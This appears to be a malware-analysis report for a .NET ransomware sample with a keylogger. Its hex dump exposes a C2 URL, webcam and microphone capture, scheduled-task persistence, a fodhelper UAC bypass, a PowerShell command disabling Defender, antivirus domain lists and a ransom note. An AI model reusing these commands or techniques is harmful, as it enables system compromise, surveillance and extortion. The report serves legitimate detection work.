xoilac-tv.beauty_ransome.exe
Ransomware with keylogger and C2
.NET AES file encryptor with ransom demands.NET hook keylogger stages and transmits captured keys
SHA-25670d2a5fdcc554bc9fffdf4adab8ab94bde5e31e073712036a1ace2e74bcebb8b
Evidence
0x39840070282d00000a0b077e27000004284d.p(-.....~'...(M
0x399400000a00077e28000004282000000a00.....~(...( ....
0x39a4007e2900000413041613052b1b110411.~)........+....
0x39b405940c000815fe0116fe010d092d022b.............-.+
0x39c41300110517581305110511048e69fe04.....X.......i..
0x39d40d092dd907283200000a0000de052600..-..(2.......&.
0x39e400de0000002a0000011000000000cb00.....*..........
0x39f467320105010000011e02282600000a2ag2........(&...*
0x3a0442534a4201000100000000000c000000BSJB............
0x3a1476342e302e3330333139000000000500v4.0.30319......
0x3a246c00000094160000237e000000170000l.......#~......
0x3a34cc1c000023537472696e677300000000....#Strings....
0x3a44cc330000141e000023555300e0510000.3......#US..Q..
0x3a54100000002347554944000000f0510000....#GUID....Q..
0x3a647407000023426c6f6200000000000000t...#Blob.......
0x3a7402000001579fa2350902000000fa2533....W..5......%3
0x3a8400160000010000006b0000000e000000........k.......
0x3a943d000000750000005c00000004000000=...u...\.......
0x3aa4d6000000150000002e00000001000000................
0x3ab426000000050000000500000005000000&...............
0x3ac4050000001e0000000100000001000000................
0x3ad4050000000500000000000a0001000000................
0x3ae400000600b600af000600bd00af000600................
0x3af45501490106001b02af0006002802af00U.I.........(...
0x3b040600b603 ....
0x69f553243c3e395f5f436163686564416e6fS$<>9__CachedAno
0x6a056e796d6f75734d6574686f6444656c65nymousMethodDele
0x6a1567617465313900456e64735769746800gate19.EndsWith.
0x6a2553797374656d2e53656375726974792eSystem.Security.
0x6a3543727970746f67726170687900416573Cryptography.Aes
0x6a450053796d6d6574726963416c676f7269.SymmetricAlgori
0x6a5574686d007365745f4b6579007365745fthm.set_Key.set_
0x6a654956004943727970746f5472616e7366IV.ICryptoTransf
0x6a756f726d00437265617465456e63727970orm.CreateEncryp
0x6a85746f720043727970746f53747265616dtor.CryptoStream
0x6a950043727970746f53747265616d4d6f64.CryptoStreamMod
0x6aa56500577269746500466c75736846696ee.Write.FlushFin
0x6ab5616c426c6f636b00476574456e766972alBlock.GetEnvir
0x6ac56f6e6d656e745661726961626c650044onmentVariable.D
0x6ad5656c6574655375624b65795472656500eleteSubKeyTree.
0x6ae543757272656e74557365720043726561CurrentUser.Crea
0x6af574655375624b657900417070656e6454teSubKey.AppendT
0x6b0565787400436f6c6f72006765745f426cext.Color.get_Bl
0x6b1561636b00466f6e740042727573686573ack.Font.Brushes
0x6b25004272757368006765745f5265640044.Brush.get_Red.D
0x6b35726177537472696e67003c5370616d4drawString.<SpamM
0x6b456f7573653e625f5f3161004353243c3eouse>b__1a.CS$<>
0x6b55395f5f436163686564416e6f6e796d6f9__CachedAnonymo
0x6b6575734d6574686f6444656c6567617465usMethodDelegate
0x6b753162003c426c6f636b5461736b4d616e1b.<BlockTaskMan
0x6b85616765723e625f5f3163004353243c3eager>b__1c.CS$<>
0x6b95395f5f436163686564416e6f6e796d6f9__CachedAnonymo
0x6ba575734d6574686f6444656c6567617465usMethodDelegate
0x6bb53164004b696c6c003c4d6f6e69746f721d.Kill.<Monitor
0x6bc5416e64526573746172743e625f5f3165AndRestart>b__1e
0x6bd5004353243c3e395f5f43616368656441.CS$<>9__CachedA
0x6be56e6f6e796d6f75734d6574686f644465nonymousMethodDe
0x6bf56c656761746531660050726f63657373legate1f.Process
0x6c055072696f72697479436c617373007365PriorityClass.se
0x6c15745f5072696f72697479436c61737300t_PriorityClass.
0x6c253c3e635f5f446973706c6179436c6173<>c__DisplayClas
0x6c3573323500466f72 s25.For
0x6d82745f546f704d6f7374007365745f4b65t_TopMost.set_Ke
0x6d927950726576696577006164645f4b6579yPreview.add_Key
0x6da2446f776e004576656e7448616e646c65Down.EventHandle
0x6db272006164645f4c6f6164004170706c69r.add_Load.Appli
0x6dc2636174696f6e0052756e00000000002fcation.Run...../
0x6dd268007400740070003a002f002f007800h.t.t.p.:././.x.
0x6de26f0069006c00610063002d0074007600o.i.l.a.c.-.t.v.
0x6df22e006200650061007500740079000113..b.e.a.u.t.y...
0x6e024b00650079006c006f00670067006500K.e.y.l.o.g.g.e.
0x6e12720000175b00480048003a006d006d00r...[.H.H.:.m.m.
0x6e223a00730073005d002000000720003a00:.s.s.]. ... .:.
0x6e32200000050d000a00004f43003a005c00 ........OC.:.\.
0x6e42500072006f006700720061006d004400P.r.o.g.r.a.m.D.
0x6e526100740061005c00570069006e006400a.t.a.\.W.i.n.d.
0x6e626f007700730055007000640061007400o.w.s.U.p.d.a.t.
0x6e7265005c006b00650079006c006f006700e.\.k.e.y.l.o.g.
0x6e822e00740078007400000f4b0045005900..t.x.t...K.E.Y.
0x6e924c004f0047003a000001000d57006500L.O.G.:.....W.e.
0x6ea26200630061006d00000f770065006200b.c.a.m...w.e.b.
0x6eb2630061006d005f0000092e0062006d00c.a.m._.....b.m.
0x6ec27000000f570045004200430041004d00p...W.E.B.C.A.M.
0x6ed23a0000154d006900630072006f007000:...M.i.c.r.o.p.
0x6ee268006f006e00650000096d0069006300h.o.n.e...m.i.c.
0x6ef25f0000092e00770061007600001d7000_.....w.a.v...p.
0x6f026f007700650072007300680065006c00o.w.e.r.s.h.e.l.
0x6f126c002e0065007800650000819d2d0043l...e.x.e....-.C
0x6f22006f006d006d0061006e006400200022.o.m.m.a.n.d. ."
0x6f32004100640064002d0054007900700065.A.d.d.-.T.y.p.e
0x6f420020002d0041007300730065006d0062. .-.A.s.s.e.m.b
0x6f52006c0079004e0061006d006500200053.l.y.N.a.m.e. .S
0x6f620079007300740065006d002e00570069.y.s.t.e.m...W.i
0x6f72006e0064006f00770073002e0046006f.n.d.o.w.s...F.o
0x6f820072006d0073003b0020002400720065.r.m.s.;. .$.r.e
0x6f9200630020003d0020004e00650077002d.c. .=. .N.e.w.-
0x6fa2004f0062006a00650063007400200053.O.b.j.e.c.t. .S
0x6fb20079007300740065006d002e00570069.y.s.t.e.m...W.i
0x6fc2006e0064006f00770073002e0046006f.n.d.o.w.s...F.o
0x6fd20072006d0073002e004100780048006f.r.m.s...A.x.H.o
0x6fe20073007400280027007b003000460035.s.t.(.'.{.0.F.5
0x6ff200380031003900450030002d00330038.8.1.9.E.0.-.3.8
0x700200410044002d0031003100440030002d.A.D.-.1.1.D.0.-
0x70120041003400300034002d003000300041.A.4.0.4.-.0.0.A
0x70220030004300 .0.C.
0x752c6100720065005c004e0061006e006f00a.r.e.\.N.a.n.o.
0x753c43006f0072006500000f560065007200C.o.r.e...V.e.r.
0x754c730069006f006e00000b31002e003200s.i.o.n...1...2.
0x755c2e003000001749006e00730074006100..0...I.n.s.t.a.
0x756c6c006c00440061007400650000117300l.l.D.a.t.e...s.
0x757c630068007400610073006b0073000055c.h.t.a.s.k.s..U
0x758c2f006300720065006100740065002000/.c.r.e.a.t.e. .
0x759c2f0074006e00200022004d0069006300/.t.n. .".M.i.c.
0x75ac72006f0073006f006600740057006900r.o.s.o.f.t.W.i.
0x75bc6e0064006f0077007300550070006400n.d.o.w.s.U.p.d.
0x75cc610074006500220020002f0074007200a.t.e.". ./.t.r.
0x75dc200022000021220020002f0073006300 ."..!". ./.s.c.
0x75ec20006f006e006c006f0067006f006e00 .o.n.l.o.g.o.n.
0x75fc20002f00660000615300590053005400 ./.f..aS.Y.S.T.
0x760c45004d005c0043007500720072006500E.M.\.C.u.r.r.e.
0x761c6e00740043006f006e00740072006f00n.t.C.o.n.t.r.o.
0x762c6c005300650074005c0043006f006e00l.S.e.t.\.C.o.n.
0x763c740072006f006c005c00530065007300t.r.o.l.\.S.e.s.
0x764c730069006f006e0020004d0061006e00s.i.o.n. .M.a.n.
0x765c6100670065007200001742006f006f00a.g.e.r...B.o.o.
0x766c74004500780065006300750074006500t.E.x.e.c.u.t.e.
0x767c00030a00001363006d00730074007000......c.m.s.t.p.
0x768c2e0065007800650000092f0061007500..e.x.e.../.a.u.
0x769c200000196500760065006e0074007600 ...e.v.e.n.t.v.
0x76ac770072002e0065007800650000808348w.r...e.x.e....H
0x76bc004b00450059005f0043005500520052.K.E.Y._.C.U.R.R
0x76cc0045004e0054005f0055005300450052.E.N.T._.U.S.E.R
0x76dc005c0053006f00660074007700610072.\.S.o.f.t.w.a.r
0x76ec0065005c0043006c0061007300730065.e.\.C.l.a.s.s.e
0x76fc0073005c006d0073002d007300650074.s.\.m.s.-.s.e.t
0x770c00740069006e00670073005c00730068.t.i.n.g.s.\.s.h
0x771c0065006c006c005c006f00700065006e.e.l.l.\.o.p.e.n
0x772c005c0063006f006d006d0061006e0064.\.c.o.m.m.a.n.d
0x773c00011f440065006c0065006700610074...D.e.l.e.g.a.t
0x774c00650045007800650063007500740065.e.E.x.e.c.u.t.e
0x775c00001b66006f006400680065006c0070...f.o.d.h.e.l.p
0x776c00650072002e0065007800650000813d.e.r...e.x.e...=
0x777c2d0043006f006d006d0061006e006400-.C.o.m.m.a.n.d.
0x778c200022005300650074002d004d007000 .".S.e.t.-.M.p.
0x779c50007200650066006500720065006e00P.r.e.f.e.r.e.n.
0x77ac6300650020002d004400690073006100c.e. .-.D.i.s.a.
0x77bc62006c0065005200650061006c007400b.l.e.R.e.a.l.t.
0x77cc69006d0065004d006f006e0069007400i.m.e.M.o.n.i.t.
0x77dc6f00720069006e006700200024007400o.r.i.n.g. .$.t.
0x77ec7200750065003b002000530065007400r.u.e.;. .S.e.t.
0x77fc2d004d00700050007200650066006500-.M.p.P.r.e.f.e.
0x780c720065006e006300650020002d004400r.e.n.c.e. .-.D.
0x781c69007300610062006c00650049004f00i.s.a.b.l.e.I.O.
0x847866000017430072006500640065006e00f...C.r.e.d.e.n.
0x84887400690061006c007300001342006f00t.i.a.l.s...B.o.
0x84986f006b006d00610072006b007300000fo.k.m.a.r.k.s...
0x84a82e00730074006f006c0065006e00001b..s.t.o.l.e.n...
0x84b86b006100730070006500720073006b00k.a.s.p.e.r.s.k.
0x84c879002e0063006f006d0000156d006300y...c.o.m...m.c.
0x84d861006600650065002e0063006f006d00a.f.e.e...c.o.m.
0x84e80019730079006d0061006e0074006500..s.y.m.a.n.t.e.
0x84f863002e0063006f006d00001361007600c...c.o.m...a.v.
0x85086100730074002e0063006f006d00001fa.s.t...c.o.m...
0x851862006900740064006500660065006e00b.i.t.d.e.f.e.n.
0x85286400650072002e0063006f006d000011d.e.r...c.o.m...
0x853865007300650074002e0063006f006d00e.s.e.t...c.o.m.
0x8548001d7400720065006e0064006d006900..t.r.e.n.d.m.i.
0x8558630072006f002e0063006f006d000021c.r.o...c.o.m..!
0x85686d0061006c0077006100720065006200m.a.l.w.a.r.e.b.
0x857879007400650073002e0063006f006d00y.t.e.s...c.o.m.
0x8588001d7600690072007500730074006f00..v.i.r.u.s.t.o.
0x8598740061006c002e0063006f006d000015t.a.l...c.o.m...
0x85a83100320037002e0030002e0030002e001.2.7...0...0...
0x85b831002000001b570061006e006e0061001. ...W.a.n.n.a.
0x85c84300720079004d007500740065007800C.r.y.M.u.t.e.x.
0x85d800194c006f0063006b00420069007400..L.o.c.k.B.i.t.
0x85e84d007500740065007800002148006900M.u.t.e.x..!H.i.
0x85f86400640065006e005400650061007200d.d.e.n.T.e.a.r.
0x860873004d00750074006500780000135200s.M.u.t.e.x...R.
0x8618790075006b004d007500740065007800y.u.k.M.u.t.e.x.
0x8628001552004500760069006c004d007500..R.E.v.i.l.M.u.
0x8638740065007800000f47006c006f006200t.e.x...G.l.o.b.
0x864861006c005c000011770061006c006c00a.l.\...w.a.l.l.
0x86582e0062006d007000003359004f005500..b.m.p..3Y.O.U.
0x866852002000460049004c00450053002000R. .F.I.L.E.S. .
0x8678410052004500200045004e0043005200A.R.E. .E.N.C.R.
0x8688590050005400450044002100000b4100Y.P.T.E.D.!...A.
0x86987200690061006c00002b43006f006e00r.i.a.l..+C.o.n.
0x86a8740072006f006c002000500061006e00t.r.o.l. .P.a.n.
0x86b865006c005c004400650073006b007400e.l.\.D.e.s.k.t.
0x86c86f0070000013570061006c006c007000o.p...W.a.l.l.p.
0x86d86100700065007200001d570061006c00a.p.e.r...W.a.l.
0x86e86c007000610070006500720053007400l.p.a.p.e.r.S.t.
0x86f879006c006500000332000080eb3d003dy.l.e...2....=.=
0x8708003d002000520041004e0053004f004d.=. .R.A.N.S.O.M
0x87180020004e004f005400450020003d003d. .N.O.T.E. .=.=
0x8728003d000a0059006f0075007200200066.=...Y.o.u.r. .f
0x87380069006c006500730020006800610076.i.l.e.s. .h.a.v
0x874800650020006200650065006e00200065.e. .b.e.e.n. .e
0x8758006e0063007200790070007400650064.n.c.r.y.p.t.e.d
0x876800200077006900740068002000410045. .w.i.t.h. .A.E